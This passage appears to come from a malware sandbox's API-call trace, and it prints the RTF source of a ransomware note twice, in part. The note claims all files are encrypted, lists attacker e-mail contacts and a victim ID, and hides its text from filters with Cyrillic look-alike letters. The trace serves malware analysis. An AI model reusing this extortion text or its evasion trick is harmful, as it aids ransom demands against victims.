r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.565] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 